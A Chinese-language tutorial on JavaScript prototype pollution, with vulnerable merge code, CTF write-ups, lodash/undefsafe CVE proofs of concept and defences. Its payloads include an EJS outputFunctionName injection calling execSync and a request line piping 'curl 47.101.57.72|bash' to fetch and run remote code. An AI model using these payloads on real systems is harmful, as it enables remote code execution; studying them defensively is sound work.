谭谈 Javascript 原型链与原型链污染
字数 1163 2025-08-05 00:15:18

JavaScript 原型链与原型链污染详解

一、JavaScript 原型链基础

1.1 原型链概念

JavaScript 使用原型链实现继承机制,每个对象都有一个私有属性 __proto__ 指向它的构造函数的原型对象(prototype)。这个原型对象也有自己的原型对象,层层向上直到一个对象的原型对象为 null

1.2 关键概念

  • 构造函数:用于创建对象的函数,有一个 prototype 属性
  • 实例对象:通过 new 操作符创建的对象,有 __proto__ 属性
  • 原型对象:构造函数的 prototype 属性指向的对象

1.3 原型链示例

function f() {
  this.a = 1;
  this.b = 2;
}
let o = new f(); // {a: 1, b: 2}

f.prototype.b = 3;
f.prototype.c = 4;

// 原型链:
// {a:1, b:2} ---> {b:3, c:4} ---> Object.prototype ---> null

console.log(o.a); // 1 (自身属性)
console.log(o.b); // 2 (自身属性遮蔽原型属性)
console.log(o.c); // 4 (从原型继承)
console.log(o.d); // undefined (原型链上不存在)

二、原型链污染原理

2.1 基本概念

原型链污染是指通过修改对象的原型,影响到所有继承该原型的对象。攻击者可以通过控制某些属性赋值操作,向对象原型中注入恶意属性。

2.2 污染示例

object1 = {"a": 1, "b": 2};
object1.__proto__.foo = "Hello World";
console.log(object1.foo); // Hello World

object2 = {"c": 1, "d": 2};
console.log(object2.foo); // Hello World

2.3 污染条件

  1. 能够控制对象属性的键名和值
  2. 目标应用使用 mergeclone 等合并对象的操作
  3. 存在能够利用被污染原型的代码

三、危险操作与漏洞利用

3.1 Merge 操作导致的污染

function merge(target, source) {
  for (let key in source) {
    if (key in source && key in target) {
      merge(target[key], source[key])
    } else {
      target[key] = source[key]
    }
  }
}

let object1 = {}
let object2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}')
merge(object1, object2)

console.log(object1.a, object1.b) // 1 2
object3 = {}
console.log(object3.b) // 2 (污染成功)

3.2 常见利用场景

  1. 模板引擎污染:污染 outputFunctionName 等属性
  2. 命令执行:污染 commands 等包含执行逻辑的对象
  3. 权限绕过:污染 adminisAdmin 等权限检查属性

四、实际案例分析

4.1 [GYCTF2020]Ez_Express

漏洞点

const merge = (a, b) => {
  for (var attr in b) {
    if (isObject(a[attr]) && isObject(b[attr])) {
      merge(a[attr], b[attr]);
    } else {
      a[attr] = b[attr];
    }
  }
  return a
}

req.session.user.data = clone(req.body);

利用方法

  1. 注册特殊用户名绕过检查(使用 ı 字符)
  2. 发送污染 payload:
{
  "lua": "123",
  "__proto__": {
    "outputFunctionName": "t=1;return global.process.mainModule.constructor._load('child_process').execSync('cat /flag').toString()//"
  }
}
  1. 访问触发点 /info 路由

4.2 [网鼎杯 2020 青龙组]notes

漏洞点

edit_note(id, author, raw) {
  undefsafe(this.note_list, id + '.author', author);
  undefsafe(this.note_list, id + '.raw_note', raw);
}

// 命令执行点
let commands = {
  "script-1": "uptime",
  "script-2": "free -m"
};

利用方法

  1. 发送污染请求:
POST /edit_note
id=__proto__.aaa&author=curl 47.101.57.72|bash&raw=lalala
  1. 访问 /status 触发命令执行

五、常见库的原型链污染漏洞

5.1 Lodash 漏洞

5.1.1 defaultsDeep (CVE-2019-10744)

const mergeFn = require('lodash').defaultsDeep;
const payload = '{"constructor": {"prototype": {"whoami": "Vulnerable"}}}';

mergeFn({}, JSON.parse(payload));
if (({})[`a0`] === true) {
  console.log(`Vulnerable to Prototype Pollution via ${payload}`);
}

5.1.2 merge

var lodash = require('lodash');
var payload = '{"__proto__":{"whoami":"Vulnerable"}}';
var a = {};
lodash.merge({}, JSON.parse(payload));
console.log(a.whoami); // Vulnerable

5.1.3 set

var lodash = require('lodash');
var object_1 = {'a': [{'b': {'c': 3}}]};
var object_2 = {}
lodash.set(object_2, '__proto__.["whoami"]', 'Vulnerable');
console.log(object_1.whoami); // Vulnerable

5.2 Undefsafe 漏洞 (CVE-2019-10795)

var a = require("undefsafe");
var test = {}
a(test, '__proto__.toString', function(){return 'just a evil!'})
console.log('this is ' + test) // this is just a evil!

六、防御措施

  1. 冻结原型对象

    Object.freeze(Object.prototype);
    
  2. 使用无原型对象

    const obj = Object.create(null);
    
  3. 检查敏感键名

    if (key === '__proto__' || key === 'constructor' || key === 'prototype') {
      throw new Error('Prototype pollution detected');
    }
    
  4. 使用安全的合并函数

    function safeMerge(target, source) {
      for (const key in source) {
        if (key === '__proto__' || key === 'constructor' || key === 'prototype') {
          continue;
        }
        if (typeof source[key] === 'object' && source[key] !== null) {
          target[key] = target[key] || {};
          safeMerge(target[key], source[key]);
        } else {
          target[key] = source[key];
        }
      }
    }
    
  5. 保持库版本更新:及时更新存在漏洞的第三方库

七、总结

原型链污染是 JavaScript 中一种独特的安全漏洞,利用 JavaScript 灵活的原型继承机制,通过修改原型对象影响所有继承该原型的对象。防御此类漏洞需要开发者:

  1. 了解原型链工作原理
  2. 避免不安全的对象合并操作
  3. 对用户输入进行严格过滤
  4. 使用安全的编程模式
  5. 保持依赖库的及时更新

通过本文的分析和案例,开发者可以更好地理解原型链污染的成因和防御方法,编写更安全的 JavaScript 代码。

JavaScript 原型链与原型链污染详解 一、JavaScript 原型链基础 1.1 原型链概念 JavaScript 使用原型链实现继承机制,每个对象都有一个私有属性 __proto__ 指向它的构造函数的原型对象(prototype)。这个原型对象也有自己的原型对象,层层向上直到一个对象的原型对象为 null 。 1.2 关键概念 构造函数 :用于创建对象的函数,有一个 prototype 属性 实例对象 :通过 new 操作符创建的对象,有 __proto__ 属性 原型对象 :构造函数的 prototype 属性指向的对象 1.3 原型链示例 二、原型链污染原理 2.1 基本概念 原型链污染是指通过修改对象的原型,影响到所有继承该原型的对象。攻击者可以通过控制某些属性赋值操作,向对象原型中注入恶意属性。 2.2 污染示例 2.3 污染条件 能够控制对象属性的键名和值 目标应用使用 merge 、 clone 等合并对象的操作 存在能够利用被污染原型的代码 三、危险操作与漏洞利用 3.1 Merge 操作导致的污染 3.2 常见利用场景 模板引擎污染 :污染 outputFunctionName 等属性 命令执行 :污染 commands 等包含执行逻辑的对象 权限绕过 :污染 admin 、 isAdmin 等权限检查属性 四、实际案例分析 4.1 [ GYCTF2020]Ez_ Express 漏洞点 : 利用方法 : 注册特殊用户名绕过检查(使用 ı 字符) 发送污染 payload: 访问触发点 /info 路由 4.2 [ 网鼎杯 2020 青龙组 ]notes 漏洞点 : 利用方法 : 发送污染请求: 访问 /status 触发命令执行 五、常见库的原型链污染漏洞 5.1 Lodash 漏洞 5.1.1 defaultsDeep (CVE-2019-10744) 5.1.2 merge 5.1.3 set 5.2 Undefsafe 漏洞 (CVE-2019-10795) 六、防御措施 冻结原型对象 : 使用无原型对象 : 检查敏感键名 : 使用安全的合并函数 : 保持库版本更新 :及时更新存在漏洞的第三方库 七、总结 原型链污染是 JavaScript 中一种独特的安全漏洞,利用 JavaScript 灵活的原型继承机制,通过修改原型对象影响所有继承该原型的对象。防御此类漏洞需要开发者: 了解原型链工作原理 避免不安全的对象合并操作 对用户输入进行严格过滤 使用安全的编程模式 保持依赖库的及时更新 通过本文的分析和案例,开发者可以更好地理解原型链污染的成因和防御方法,编写更安全的 JavaScript 代码。